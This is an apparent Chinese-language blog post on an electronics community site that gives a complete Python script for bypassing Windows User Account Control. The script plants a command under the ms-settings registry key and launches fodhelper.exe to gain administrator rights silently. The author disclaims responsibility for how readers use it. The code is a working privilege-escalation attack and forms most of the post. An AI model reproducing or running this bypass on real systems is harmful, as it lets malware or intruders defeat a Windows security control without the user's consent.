0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

python如何轻松绕过UAC

电子设计 2018-10-12 11:05 次阅读

很多时候我们不希望我们的软件弹出UAC提示,这个时候我们可以通过注册表的方法去解决。这其实已经不在是一个安全的编程了,它变成了一把双刃剑。

当然我们只是讨论这种问题该怎么解决。具体用在什么方面那是你的问题咯!

通过下面的代码我们可以轻松绕过UAC:

# -*- coding: utf-8 -*-

“”“

Created on Mon Jan 8 09:09:51 2018

@author: coordinate

”“”

from __future__ import print_function

import os

import sys

import ctypes

if sys.version_info[0] == 3:

import winreg as winreg

else:

import _winreg as winreg

CMD = r“C:\Windows\System32\cmd.exe”

FOD_HELPER = r‘C:\Windows\System32\fodhelper.exe’

PYTHON_CMD = “python”

REG_PATH = ‘Software\Classes\ms-settings\shell\open\command’

DELEGATE_EXEC_REG_KEY = ‘DelegateExecute’

def is_admin():

‘’‘

Checks if the script is running with administrative privileges.

Returns True if is running as admin, False otherwise.

’‘’

try:

return ctypes.windll.shell32.IsUserAnAdmin()

except:

return False

def create_reg_key(key, value):

‘’‘

Creates a reg key

’‘’

try:

winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)

registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)

winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)

winreg.CloseKey(registry_key)

except WindowsError:

raise

def bypass_uac(cmd):

‘’‘

Tries to bypass the UAC

’‘’

try:

create_reg_key(DELEGATE_EXEC_REG_KEY, ‘’)

create_reg_key(None, cmd)

except WindowsError:

raise

def execute():

if not is_admin():

print(‘[!] The script is NOT running with administrative privileges’)

print(‘[+] Trying to bypass the UAC’)

try:

current_dir = __file__

cmd = ‘{} /k {} {}’.format(CMD, PYTHON_CMD, current_dir)

bypass_uac(cmd)

os.system(FOD_HELPER)

sys.exit(0)

except WindowsError:

sys.exit(1)

else:

#这里添加我们需要管理员权限的代码

print(‘[+] The script is running with administrative privileges!’)

if __name__ == ‘__main__’:

execute()

---------------------

其实我们这个代码这里主要是往注册表中添加了这两项

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • python
    +关注

    关注

    56

    文章

    4782

    浏览量

    84461
收藏 人收藏

    评论

    相关推荐

    请问UAC2.0和UAC3.0有什么区别?

    请教下大家,目前Windows 最高只支持UAC2.0,网上了解到一些信息UAC3.0不向下兼容。那3.0和2.0的差异在哪里呢? 了解到UAC3.0比UAC 2.0降低90%的功耗
    发表于 01-24 08:11

    有关UAC 3556B

    我使用UAC 3556B 声卡,我的麦怎么无法录音但是我的耳机能听歌曲 求指点迷津 急急急 加急
    发表于 07-31 18:33

    Python Editor如何轻松玩转MicroPython?

    新手编程错误的编辑器,基于TPYBoard系列开发板的Micropython语言编辑器--Python Editor。 首先看一下python editor的编程界面:编程界面功能介绍,下文我会
    发表于 06-04 14:36

    请问为什么当UAC设备记录和播放时,噪声会定期发生?

    为什么当UAC设备记录和播放时,噪声会定期发生?
    发表于 12-25 07:15

    RK3308 Linux UAC与ADB复合怎么才可以同时使用?

    RK3308 Linux UAC与ADB复合怎么才可以同时使用?
    发表于 03-09 06:10

    RK3308如何开启UAC功能?

    RK3308如何开启UAC功能?
    发表于 03-09 07:58

    基于Linux内核的Rockchip USB Gadget UAC开发资料分享

    1、Rockchip USB Gadget UAC开发步骤本文档提供 Rockchip 平台基于 Linux 内核的 USB Gadget UAC(USB Audio Class)驱动的使用方法
    发表于 08-10 16:03

    介绍Python 3 的功能 让人轻松地从Python 2迁移到Python 3

    为了使初学者能够轻松地从 Python 2 向 Python 3 实现迁移,我收集了一些 Python 3 的功能,希望对大家有所帮助。
    的头像 发表于 01-31 15:11 4479次阅读

    win7如何关闭uac,详细步骤的介绍

    win7系统的稳定性,兼容性,安全性一直让大家称赞,其实是因为它的背后有很多小功能在支持。其中就有一个uac功能,它通过限制应用软件而改进win7系统的安全性。但是有利就有弊,安装软件时它总是弹出
    发表于 03-24 17:28 1586次阅读

    绕过kernel模块版本校验检测

    绕过kernel模块版本校验检测
    发表于 10-28 11:07 0次下载

    如何通过python轻松处理大文件

    众所周知,python除了以简洁著称,其成熟的第三方库功能也是很强大的,今天浩道带大家看看如何通过python轻松处理大文件,真让人直呼yyds 。
    的头像 发表于 04-27 10:54 856次阅读

    Android App开发新选择:使用Chaquopy轻松结合Python

    。Chaquopy是一个可以帮助开发者在Android App中轻松使用Python代码的工具。本文将介绍如何安装Chaquopy,让你的Android App更加强大。
    的头像 发表于 04-25 20:29 2079次阅读
    Android App开发新选择:使用Chaquopy<b class='flag-5'>轻松</b>结合<b class='flag-5'>Python</b>

    使用Teachable Machine和Python轻松进行对象检测

    电子发烧友网站提供《使用Teachable Machine和Python轻松进行对象检测.zip》资料免费下载
    发表于 06-27 09:26 0次下载
    使用Teachable Machine和<b class='flag-5'>Python</b><b class='flag-5'>轻松</b>进行对象检测

    PyJNIus:在Python轻松调用Java方法

    PyJNIus 是一个神奇的 Python 第三方模块。它能使用Java本地接口将Java类作为Python类访问的Python模块。 如果你需要在Python中使用Java 类,这个
    的头像 发表于 10-30 11:32 866次阅读

    PyJNIus :让你在Python轻松调用Java方法

    PyJNIus 是一个神奇的 Python 第三方模块。它能使用Java本地接口将Java类作为Python类访问的Python模块。 如果你需要在Python中使用Java 类,这个
    的头像 发表于 11-01 10:45 800次阅读